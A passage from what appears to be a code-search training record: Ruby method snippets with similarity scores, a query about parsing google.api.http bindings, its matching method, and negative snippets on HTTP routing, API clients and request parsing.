:put\n when /destroy/\n :delete\n else# and when /(index|show|new|edit)/\n :get\n end\n end", "def route\n @extname = File.extname(request.path_info)\n @extname = nil if @extname.empty?\n args = super\n\n unless args.empty? || extname == nil\n args.last.chomp!(extname)\n end\n\n args\n end", "def path\n @attributes[:path]\n end", "def path\n @attributes[:path]\n end", "def path\n @attributes[:path]\n end", "def path\n @attributes[:path]\n end", "def path\n @attributes[:path]\n end", "def path\n @attributes[:path]\n end", "def path\n @attributes[:path]\n end", "def path\n @attributes[:path]\n end", "def path\n @attributes[:path]\n end", "def path\n @attributes[:path]\n end", "def path\n @attributes[:path]\n end", "def path\n @attributes[:path]\n end", "def path\n name = @resource.value(:name)\n if (attrs = self.class.all[name])\n attrs[:path]\n end\n end", "def check_path(param)\n return param # unless Nanotek::UriFilter.new(param).has_path?\n end", "def path\n @attributes.fetch('path', nil)\n end", "def implicit_authorization_target\n return nil if request.get?\n super\n end", "def recognize_path(path_info)\n route, params = recognize(Rack::MockRequest.env_for(path_info)).first\n [route.name, params]\n end", "def key_http_verb(verb)\n key = verb.to_s.downcase.to_sym\n key if http_verbs.include?(key)\n end", "def get_action request_method\n case request_method\n when 'POST' then 'create'\n when 'GET' then 'read'\n when 'PUT' then 'update'\n when 'DELETE' then 'delete'\n end\n end", "def get_method\n request_object.method\n end", "def api?(req)\n (req.path.start_with?('/api') || req.path.start_with?('/version.json'))\n end", "def parse_http_methods!(req)\n if (method = req.params['_method'])\n if ['delete', 'put', 'patch'].include?(method.downcase)\n req.env['REQUEST_METHOD'] = method.upcase\n end\n end\n end", "def _access_path(annotations)\n annotations.detect{|annotation| annotation =~ /\\[(.*)\\]/}\n $1 ? $1.split(/,/).map(&:strip).map{|e| e.delete(':')} : []\n end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def path\n @path ||= Rack::Utils.unescape(request.path_info)\n end", "def defaults default_verb=nil\n default_verb = (default_verb || 'get').to_s.downcase\n\n (@ctrl.actions - @actions).each do |action|\n verb, path = DEFAULT_ACTION_MAP[action]\n verb, path = [default_verb, \"/#{action}\"] if verb.nil?\n\n add(verb, action, path) unless verb.nil? ||\n @routes.any?{|(r,n,(c,a,p))| r == make_route(verb, path)[0] }\n end\n end", "def infer_method(action)\n case action\n when 'update' then :put\n when 'create' then :post\n else :get\n end\n end", "def path\n name = @resource.value(:name)\n # rubocop:disable Style/GuardClause\n if (attrs = self.class.all[name])\n # rubocop:enable Style/GuardClause\n attrs[:path]\n end\n end" ]
[ "0.6577424", "0.6499301", "0.623567", "0.6180076", "0.6031656", "0.5985674", "0.59509826", "0.57627314", "0.57200414", "0.5716211", "0.5658844", "0.5613053", "0.56106544", "0.5559649", "0.54733944", "0.5463653", "0.5426245", "0.54144764", "0.54109657", "0.538546", "0.5332751", "0.5332549", "0.5313935", "0.53131825", "0.53040105", "0.5299426", "0.5298565", "0.5275531", "0.52754426", "0.52540773", "0.5244381", "0.52417606", "0.5238164", "0.5226398", "0.5211315", "0.52109087", "0.5207444", "0.51950055", "0.5175301", "0.5168809", "0.5149053", "0.5132679", "0.51307243", "0.51202095", "0.51163775", "0.51077616", "0.5103569", "0.5078336", "0.50728875", "0.50697166", "0.5066301", "0.50639534", "0.5059555", "0.5052753", "0.5048714", "0.5047666", "0.50374204", "0.502399", "0.5018606", "0.5016571", "0.50164753", "0.50162053", "0.5015479", "0.50124955", "0.50053185", "0.50050485", "0.5001908", "0.49911934", "0.49745262", "0.49745262", "0.49745262", "0.49745262", "0.49745262", "0.49745262", "0.49745262", "0.49745262", "0.49745262", "0.49745262", "0.49745262", "0.49745262", "0.49716341", "0.4968311", "0.49654818", "0.4952166", "0.4951065", "0.49398267", "0.49381027", "0.49359962", "0.49349862", "0.49344456", "0.49325192", "0.49292538", "0.49292538", "0.49292538", "0.49292538", "0.49292538", "0.49280542", "0.4927415", "0.49242207", "0.49198788" ]
0.71730083
0
Parses http bindings from the `google.api.http` annotation, preserving order.
def parse_bindings http return [] if http.nil? raw_binds = [http] + http.additional_bindings.to_a raw_binds.map { |raw_bind| HttpBinding.new raw_bind } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parse_http http_yaml\n http = Google::Api::Http.new\n\n if http_yaml.key? HTTP_RULES_KEY\n http.rules = http_yaml[HTTP_RULES_KEY].map { |rule_yaml| parse_http_rule rule_yaml }\n end\n\n http\n end", "def test_parse_service_yaml_with_api_http\n api1_name = \"test_api1\"\n method1_name = \"test_method1\"\n method1_verb = \"get\"\n method1_binding = \"/v1alpha1/{name=projects/*}/locations\"\n\n method2_name = \"test_method2\"\n method2_verb = \"post\"\n method2_body = \"*\"\n method2_binding1 = \"/v1alpha1/{resource=projects/*/locations/*/connectionProfiles/*}:setIamPolicy\"\n method2_binding2 = \"/v1alpha1/{resource=projects/*/locations/*/streams/*}:setIamPolicy\"\n\n yaml = <<~HEREDOC\n type: google.api.Service\n config_version: 2\n name: my_service\n apis:\n - name: #{api1_name}\n - name: test_api2\n http:\n fully_decode_reserved_expansion: true\n rules:\n - selector: #{api1_name}.#{method1_name}\n #{method1_verb}: '#{method1_binding}'\n - selector: #{api1_name}.#{method2_name}\n #{method2_verb}: '#{method2_binding1}'\n body: '#{method2_body}'\n additional_bindings:\n - #{method2_verb}: '#{method2_binding2}'\n body: '#{method2_body}'\n - post: '/v1alpha1/{resource=projects/*/locations/*/privateConnections/*}:setIamPolicy'\n body: '*'\n - post: '/v1alpha1/{resource=projects/*/locations/*/privateConnections/*/routes/*}:setIamPolicy'\n body: '*'\n HEREDOC\n\n service = Gapic::Schema::ServiceConfigParser.parse_service_yaml yaml\n\n assert(service.apis.any? { |api| api.name == api1_name })\n refute_nil service.http\n http = service.http\n assert_equal 2, http.rules.length\n\n method1_rule = http.rules.find { |rule| rule.selector == \"#{api1_name}.#{method1_name}\" }\n refute_nil method1_rule\n assert method1_rule.respond_to? method1_verb\n assert_equal method1_binding, method1_rule.send(method1_verb)\n\n method2_rule = http.rules.find { |rule| rule.selector == \"#{api1_name}.#{method2_name}\" }\n refute_nil method2_rule\n assert method2_rule.respond_to? method2_verb\n assert_equal method2_binding1, method2_rule.send(method2_verb)\n assert_equal method2_body, method2_rule.body\n\n refute_nil method2_rule.additional_bindings\n method2_addbind = method2_rule.additional_bindings.find do |bind|\n bind.respond_to?(method2_verb) &&\n method2_binding2 == bind.send(method2_verb) &&\n method2_body == bind.body\n end\n refute_nil method2_addbind\n end", "def http *xs\n env.http *xs\n end", "def parse_http_rule rule_yaml\n rule = Google::Api::HttpRule.new\n rule.selector = rule_yaml[HTTP_RULES_SELECTOR_KEY] if rule_yaml.key? HTTP_RULES_SELECTOR_KEY\n verb_path = HTTP_RULES_VERBS_ALLOWED.find { |verb| rule_yaml[verb] }\n rule.send \"#{verb_path}=\", rule_yaml[verb_path] if verb_path\n rule.body = rule_yaml[HTTP_RULES_BODY_KEY] if rule_yaml.key? HTTP_RULES_BODY_KEY\n\n if rule_yaml.key? HTTP_RULES_ADDITIONAL_BINDINGS_KEY\n rule.additional_bindings = rule_yaml[HTTP_RULES_ADDITIONAL_BINDINGS_KEY].map do |binding_yaml|\n parse_http_rule binding_yaml\n end\n end\n\n rule\n end", "def request_http_headers env\n env.inject({}) { |acc, (k, v)| acc[$1.downcase] = v if k =~ /^http_(.*)/i; acc }\n end", "def parse_http_meta text\n headers = {}\n status = 200\n size = 0\n parts = text.split /^---$/\n if parts.length > 1\n for part in parts.last.split \"\\n\"\n if Oaf::Util.is_http_header? part\n headers.merge! Oaf::Util.get_http_header part\n elsif Oaf::Util.is_http_status? part\n status = Oaf::Util.get_http_status part\n else next\n end\n size += size == 0 ? 2 : 1 # compensate for delimiter\n end\n end\n [headers, status, size]\n end", "def get_http_services (service_name)\n service_data = query_for_services()\n services = sort_services(service_data)\n list = services[service_name]\n\n http_service = []\n list.each do |service|\n properties = service[\"properties\"]\n if !properties.nil?()\n http_uri = properties[\"http\"]\n http_service << http_uri unless http_uri.nil?()\n end\n end\n\n return http_service\n end", "def lookupd_http_addresses\n @lookups ||= ENV.fetch(\"NSQLOOKUPD_HTTP_ADDRESS\", \"\").split(/, ?|\\s+/).map(&:strip)\n end", "def http_parse_args\n [(self.api.base_url + self.method), self.params]\n end", "def batch_get_access_bindings request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_batch_get_access_bindings_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Analytics::Admin::V1alpha::BatchGetAccessBindingsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def parse_request(request_http)\n lines = request_http.split(\"\\n\")\n\n request_line = lines.shift\n method, path, version = request_line.split\n\n headers = {}\n loop do\n line = lines.shift\n break if line =~ /^\\s*$/\n\n key, value = line.split(':', 2)\n headers[key] = value.strip\n end\n\n body = lines.join(\"\\n\")\n\n {\n 'method' => method,\n 'path' => path,\n 'version' => version,\n 'headers' => headers,\n 'body' => body,\n }\n end", "def http=(_arg0); end", "def parsed_http_url\n parsed_url if parsed_url && http_scheme?(parsed_url)\n end", "def http2_upgraded_headers(headers)\n headers.merge(\n ':scheme' => 'http',\n ':authority' => headers['host']\n )\n end", "def http\n @http ||= all.select { |link| link =~ /^http(s)?:\\/\\//i}\n end", "def process_http_request\n route_http_request\n end", "def http\n @http ||= create_http\n end", "def http\n @http ||= create_http\n end", "def patch\n do_once(:http) do\n begin\n require 'uri'\n require 'ddtrace/pin'\n require 'ddtrace/ext/app_types'\n require 'ddtrace/ext/http'\n require 'ddtrace/ext/net'\n require 'ddtrace/ext/distributed'\n\n patch_http\n rescue StandardError => e\n Datadog::Tracer.log.error(\"Unable to apply net/http integration: #{e}\")\n end\n end\n end", "def add_http_options(http)\n @http_options.each do |attribute, value|\n http.send(\"#{attribute}=\", value)\n end\n http\n end", "def http_methods\n reload if executed_requests['GET'].nil? || executed_requests['GET']['headers'].nil? || executed_requests['GET']['headers'].empty?\n (executed_requests['GET']['headers']['Allow'] || \"GET\").split(/,\\s*/)\n end", "def batch_update_access_bindings request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_batch_update_access_bindings_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Analytics::Admin::V1alpha::BatchUpdateAccessBindingsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def request2hash(http)\n {\n :id => http.id,\n :proto => http.proto,\n :domain => http.domain,\n\t :port => http.port,\n :path => http.path,\n :has_ran => http.has_ran,\n :method => http.method,\n :request_date => http.request_date,\n :response_date => http.response_date,\n :response_status_code => http.response_status_code,\n :response_status_text => http.response_status_text,\n\t :response_port_status => http.response_port_status\n }\n end", "def patch_http\n ::Net::HTTP.class_eval do\n alias_method :request_without_datadog, :request\n remove_method :request\n\n def datadog_pin\n @datadog_pindatadog_pin ||= begin\n service = Datadog.configuration[:http][:service_name]\n tracer = Datadog.configuration[:http][:tracer]\n\n Datadog::Pin.new(service, app: Ext::APP, app_type: Datadog::Ext::AppTypes::WEB, tracer: tracer)\n end\n end\n\n def request(req, body = nil, &block) # :yield: +response+\n pin = datadog_pin\n return request_without_datadog(req, body, &block) unless pin && pin.tracer\n\n transport = pin.tracer.writer.transport\n\n if Datadog::Contrib::HTTP.should_skip_tracing?(req, @address, @port, transport, pin)\n return request_without_datadog(req, body, &block)\n end\n\n pin.tracer.trace(Ext::SPAN_REQUEST) do |span|\n begin\n span.service = pin.service\n span.span_type = Datadog::Ext::HTTP::TYPE\n\n span.resource = req.method\n # Using the method as a resource, as URL/path can trigger\n # a possibly infinite number of resources.\n span.set_tag(Datadog::Ext::HTTP::URL, req.path)\n span.set_tag(Datadog::Ext::HTTP::METHOD, req.method)\n\n if pin.tracer.enabled && !Datadog::Contrib::HTTP.should_skip_distributed_tracing?(pin)\n req.add_field(Datadog::Ext::DistributedTracing::HTTP_HEADER_TRACE_ID, span.trace_id)\n req.add_field(Datadog::Ext::DistributedTracing::HTTP_HEADER_PARENT_ID, span.span_id)\n if span.context.sampling_priority\n req.add_field(\n Datadog::Ext::DistributedTracing::HTTP_HEADER_SAMPLING_PRIORITY,\n span.context.sampling_priority\n )\n end\n end\n rescue StandardError => e\n Datadog::Tracer.log.error(\"error preparing span for http request: #{e}\")\n ensure\n response = request_without_datadog(req, body, &block)\n end\n span.set_tag(Datadog::Ext::HTTP::STATUS_CODE, response.code)\n if req.respond_to?(:uri) && req.uri\n span.set_tag(Datadog::Ext::NET::TARGET_HOST, req.uri.host)\n span.set_tag(Datadog::Ext::NET::TARGET_PORT, req.uri.port.to_s)\n else\n span.set_tag(Datadog::Ext::NET::TARGET_HOST, @address)\n span.set_tag(Datadog::Ext::NET::TARGET_PORT, @port.to_s)\n end\n\n case response.code.to_i / 100\n when 4\n span.set_error(response)\n when 5\n span.set_error(response)\n end\n\n response\n end\n end\n end\n end", "def convert_http_version( version_string )\n\t\t\treturn case version_string\n\t\t\t\twhen '1.0'\n\t\t\t\t\t:httpv1_0\n\t\t\t\twhen '1.1'\n\t\t\t\t\t:httpv1_1\n\t\t\t\twhen '2.0'\n\t\t\t\t\t:httpv2_0\n\t\t\t\telse\n\t\t\t\t\tversion_string.to_sym\n\t\t\t\tend\n\t\tend", "def getHTTPHdrs(url)\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = uri.scheme == 'https'\n request = Net::HTTP::Head.new(uri.request_uri)\n http.request(request)\nend", "def http_stands_for\n # TODO: Return a `string` with the full meaning of the acronym `HTTP`.\n # Hint, the format should look like this: Hxxx-Txxx Txxx Pxxx\n return ''\nend", "def http; end", "def http_handle(version: :v1)\n @__handles ||= {}\n\n if @__handles[version].nil?\n uri = API_ENDPOINTS[version]\n handle = Net::HTTP.new(uri.host, uri.port)\n handle.use_ssl = true\n @__handles[version] = handle\n end\n\n @__handles[version]\n end", "def get_ip_ranges_with_http_info(opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IPRangesAPI.get_ip_ranges ...'\n end\n # resource path\n local_var_path = '/'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'IPRanges'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :get_ip_ranges,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V1\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Get, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IPRangesAPI#get_ip_ranges\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def ensure_http \n url.ensure_http\n end", "def initialize(http)\n @http = http\n end", "def http_version\n @http_version ||= [\n 'HTTP_VERSION',\n 'SERVER_PROTOCOL',\n ].map{ |x| rack_environment[x] }.find.first.to_s.split('/').last\n end", "def get(http: HTTParty)\n http.get(url)\n end", "def get_greetings_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: GreetingsApi.get_greetings ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/greetings\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DomainEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: GreetingsApi#get_greetings\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_http_header line\n return nil if not is_http_header? line\n parts = line.split(':')\n {parts[0].strip => parts[1].strip}\n end", "def parser_init\n @http = Http::Parser.new\n @http.on_headers_complete = proc do\n p @http.headers\n end\n @http.on_body = proc do |chunk|\n # One chunk of the body\n p chunk\n end\n\n @http.on_message_complete = proc do |env|\n # Headers and body is all parsed\n puts \"Done!\"\n end\n\n\n end", "def test_absolute_uri_underscores\n parser = HttpParser.new\n req = parser.env\n http = \"GET http://under_score.example.com/foo?q=bar HTTP/1.0\\r\\n\\r\\n\"\n parser.buf << http\n assert_equal req, parser.parse\n assert_equal 'http', req['rack.url_scheme']\n assert_equal '/foo?q=bar', req['REQUEST_URI']\n assert_equal '/foo', req['REQUEST_PATH']\n assert_equal 'q=bar', req['QUERY_STRING']\n\n assert_equal 'under_score.example.com', req['HTTP_HOST']\n assert_equal 'under_score.example.com', req['SERVER_NAME']\n assert_equal '80', req['SERVER_PORT']\n assert_equal \"\", parser.buf\n assert ! parser.keepalive?\n end", "def parse_url(text)\n urls = URI.extract(text.to_s, %w[http https]).uniq\n host = URI(self.class.base_url).host\n queries = []\n urls.each do |url|\n if matched = url.match(%r{#{host}/queries/(\\d+)(#?(\\d+))?})\n queries << { query_id: matched[1], visualization_id: matched[3] }\n end\n end\n queries\n end", "def process_http_request(res, req = nil, params = nil)\n case res\n when HTTP_SUCCESS\n Log.debug('Http success')\n res\n when HTTP_REDIRECT\n if allow_redirect\n uri = URI(res['location'])\n @host = uri.host\n @port = uri.port\n Log.debug(\"Http redirect, setting new host to: #{@host}:#{@port}, and retrying\")\n api_execute(uri.path, req.method.downcase.to_sym, params: params)\n else\n Log.debug('Http redirect not allowed')\n res.error!\n end\n when HTTP_CLIENT_ERROR\n fail Error.from_http_response(res)\n else\n Log.debug('Http error')\n Log.debug(res.body)\n res.error!\n end\n end", "def http\n @http ||= Faraday.new(url: base_url) do |faraday|\n faraday.request :url_encoded\n faraday.response :follow_redirects\n faraday.use Faraday::ParseHtml\n faraday.adapter Faraday.default_adapter\n end\n end", "def list_gcp_user_access_bindings request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_gcp_user_access_bindings_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Identity::AccessContextManager::V1::ListGcpUserAccessBindingsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def api\n @http ||= Http.new(config)\n end", "def http\n @http || prepare_http_connection\n end", "def shields_io_valid_response?(http, url)\n url.include?(BadgeApi::BASE_URL) && http_valid_status_code?(http, 200) && http_valid_content_types?(http)\n end", "def http_communication\n @http_communication ||= http_communication_class.new(uri)\n end", "def http_auth_hash\n keys = [http_authentication_key, :ip_address]\n Hash[*keys.zip(decode_credentials).flatten]\n end", "def http_range\n range = @http_request.header('range')\n return nil unless range\n\n # Matching \"Range: bytes=1234-5678: both numbers are optional\n matches = /^bytes=([0-9]*)-([0-9]*)$/i.match(range)\n return nil unless matches\n\n return nil if matches[1] == '' && matches[2] == ''\n\n [\n matches[1] != '' ? matches[1].to_i : nil,\n matches[2] != '' ? matches[2].to_i : nil\n ]\n end", "def http_url\n errors[:url] << 'not a valid url' unless URI.parse(url).kind_of?(URI::HTTP)\n rescue URI::InvalidURIError\n errors[:url] << 'not a valid url'\n end", "def getLatLng(city, country, http)\n puts \"getLatLng(#{city}, #{country}, http)\"\n validLatLng = /-?\\d+\\.?\\d*/\n responseLoc = /.*\\\"lat\\\": (#{validLatLng}).*\\\"lng\\\": (#{validLatLng}).*/m\n lat = \"\"\n lng = \"\"\n \n cityAry = city.split(' ')\n subRequest = cityAry[0]\n (cityAry.size-1).times{ |i|\n subRequest += '+'\n subRequest += cityAry[i+1]\n }\n \n subRequest += ','\n \n countryAry = country.split(' ')\n subRequest += countryAry[0]\n (countryAry.size-1).times{ |i|\n subRequest += '+'\n subRequest += countryAry[i+1]\n }\n \n request = \"/maps/api/geocode/json?address=#{subRequest}&sensor=false\"\n # puts \"request: #{request}\"\n response = http.request_get(request)\n \n if response.body =~ responseLoc\n lat = $1\n lng = $2\n end\n\n sleep 0.5 #Sleep a second so that Google doesn't rate limit me\n \n if lat == \"\" or lng == \"\"\n puts \"TROUBLE! #{request}\"\n puts response.body\n LatLng.new(-200,-200)\n else\n LatLng.new(lat.to_f, lng.to_f)\n end\nend", "def http_proxy_parts; end", "def process_url_params(url, headers); end", "def list_access_bindings request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_access_bindings_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Analytics::Admin::V1alpha::ListAccessBindingsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def parse(text)\n text.split(\"\\n\").each do |line|\n if line =~ /^.*\\:.*$/\n s = line.split(\":\")\n \n key = s[0].strip\n value = s[1].strip\n \n @headers[key] = value\n else\n s = line.split\n \n @http_version = s[0]\n @status = s[1].to_i\n @response_text = s[2]\n end\n end\n end", "def execute_http_request(http, request)\n @response = http.request(request)\n @http_headers = {}\nend", "def turbot_api_parameters\n uri = URI.parse(host)\n\n {\n :host => uri.host,\n :port => uri.port,\n :scheme => uri.scheme,\n }\n end", "def parse_headers(headers_hash)\n header_string = \"\"\n for header in headers_hash.select { |k,v| k.match(\"^HTTP.*\") } do\n header_string += header[0]+\":\"+header[1]+\"|\"\n end\n return header_string\n end", "def handlers\n HTTP_METHODS.map do |sym|\n [sym, send(sym)]\n end\n end", "def parse_connection_bindings(bindings)\n @connection_bindings ||= parse_adapter_protocol_connection(bindings)\n end", "def gather_endpoints_to_check\n Rails.application.routes.routes.map do |route|\n verb = route.verb.downcase.to_sym\n example_path = route.path.spec\n .to_s.gsub('(.:format)', '')\n .gsub(/:([^\\/]+)/,'SOME_PLACEHOLDER_PARAM')\n .gsub('*path', 'SOME_PLACEHOLDER_PATH')\n .gsub('*filename','SOME_PLACEHOLDER_FILENAME')\n next unless verb.present?\n [verb, example_path]\n end.compact\n end", "def buildHttpService(host, *args)\n pp [:got_buildHttpService, host, *args] if $DEBUG\n port, protocol = *args\n case host\n when URI, Java::JavaNet::URL\n port ||= host.port\n protocol ||= host.protocol\n host = host.host\n else\n thost = host.kind_of?(String) ? Java::JavaNet::URL.new(host) : host\n port ||= thost.port\n protocol ||= thost.protocol\n end\n port ||= case protocol\n when TrueClass, /^https$/i\n 443\n else\n 80\n end\n\n port = https ? 443 : 80 if port < 0\n host = host.host if host.respond_to? :host\n\n __buildHttpService(host, port, protocol)\n end", "def entries_to_http entries, url, http = Atom::HTTP.new\n coll = Atom::Collection.new url, http\n\n entries.each { |entry| coll.post! entry }\n end", "def test_absolute_uri_uri_parse\n \"#{URI::REGEXP::PATTERN::UNRESERVED};:&=+$,\".split(//).each do |char|\n parser = HttpParser.new\n req = parser.env\n http = \"GET http://#{char}@example.com/ HTTP/1.0\\r\\n\\r\\n\"\n assert_equal req, parser.headers(req, http)\n assert_equal 'http', req['rack.url_scheme']\n assert_equal '/', req['REQUEST_URI']\n assert_equal '/', req['REQUEST_PATH']\n assert_equal '', req['QUERY_STRING']\n\n assert_equal 'example.com', req['HTTP_HOST']\n assert_equal 'example.com', req['SERVER_NAME']\n assert_equal '80', req['SERVER_PORT']\n assert_equal \"\", http\n assert ! parser.keepalive?\n end\n end", "def pattern_recognition_with_http_info(symbol, resolution, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.pattern_recognition ...'\n end\n # verify the required parameter 'symbol' is set\n if @api_client.config.client_side_validation && symbol.nil?\n fail ArgumentError, \"Missing the required parameter 'symbol' when calling DefaultApi.pattern_recognition\"\n end\n # verify the required parameter 'resolution' is set\n if @api_client.config.client_side_validation && resolution.nil?\n fail ArgumentError, \"Missing the required parameter 'resolution' when calling DefaultApi.pattern_recognition\"\n end\n # resource path\n local_var_path = '/scan/pattern'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'symbol'] = symbol\n query_params[:'resolution'] = resolution\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'PatternRecognition' \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#pattern_recognition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def test_broken_ipv6_host_header\n parser = HttpParser.new\n req = parser.env\n parser.buf << \"GET / HTTP/1.1\\r\\nHost: [::1:\\r\\n\\r\\n\"\n assert_equal req, parser.parse\n assert_equal \"[\", req['SERVER_NAME']\n assert_equal ':1:', req['SERVER_PORT']\n assert_equal \"[::1:\", req['HTTP_HOST']\n assert_equal \"\", parser.buf\n end", "def http( *args )\n p http_get( *args )\n end", "def parse_api_response(http_response)\n response_data = Oj.load(http_response.body, mode: :strict) rescue {} #, {symbol_keys: true}\n case http_response.class.name\n when 'Net::HTTPOK'\n if response_data['success']\n # Success\n formatted_data = format_success_response_data(response_data['data'])\n Rails.logger.debug(\"API formatted data ==*== #{formatted_data.inspect}\")\n Rails.logger.debug(\"API response_data['go_to'] ==*== #{response_data['go_to'].inspect}\")\n success_with_data(formatted_data, response_data['go_to'])\n elsif response_data['err']['go_to'].present?\n # API Error\n Rails.logger.info(\"=*=COMPANY-API-ERROR-WITH-GOTO=*= #{response_data.inspect}\")\n error_with_go_to('company_api_error', 'company api error with goto', GlobalConstant::ErrorCode.temporary_redirect, response_data['err']['go_to'])\n else\n # API Error\n Rails.logger.info(\"=*=COMPANY-API-ERROR=*= #{response_data.inspect}\")\n error_with_internal_code(\n \"company_api_error\",\n response_data['err']['display_text'],\n GlobalConstant::ErrorCode.internal_server_error,\n {},\n response_data['err']['error_data'],\n response_data['err']['display_text']\n )\n end\n when 'Net::HTTPUnauthorized', 'Net::HTTPPreconditionFailed'\n # Login required\n Rails.logger.info(\"=*=COMPANY-API-ERROR=*= Net::HTTPUnauthorized\")\n error_with_go_to('company_api_login_required', 'company api login required', '', {'by_screen_name' => 'login'})\n when 'Net::HTTPNotFound'\n # Page not found - 404\n Rails.logger.info(\"=*=COMPANY-API-ERROR=*= '404 Not Found'\")\n error_with_internal_code('company_api_not_found', 'company api not found', GlobalConstant::ErrorCode.not_found, {}, {}, '404 Not Found')\n else\n # HTTP error status code (500, 504...)\n exception_with_internal_code(\n Exception.new(\"COMPANY API STATUS CODE #{http_response.code.to_i}\"),\n 'company_api_exception',\n 'company api exception',\n http_response.code,\n debug_data\n )\n end\n \n end", "def test_inclusive_bounded_range_name_1_to_4_max_4\n header 'Range', 'name my-app-1..my-app-4; max=4'\n\n get '/'\n json_response = JSON.parse(last_response.body)\n\n assert last_response.ok?\n assert_equal Array, json_response.class\n assert_equal 4, json_response.count\n assert_equal 1, json_response.first['id']\n assert_equal 101, json_response.last['id']\n end", "def assign_http_variables(request, http_response, xml)\n @request = request\n @http_response = http_response\n @xml = xml\n end", "def parse_url(input)\n hosts = \"github\\.com|bitbucket\\.org|gitlab\\.com\"\n\n # HTTPS/HTTP link pointing to recognised hosts\n if input =~ /^(?:https?:\\/\\/)?(?:[^.@]+@)?(?:www\\.)?(#{hosts})\\/([^\\/]+)\\/([^\\/]+)/i\n { host: $1.downcase(), user: $2, repo: $3.sub(/\\.git$/, \"\") }\n # SSH\n elsif input =~ 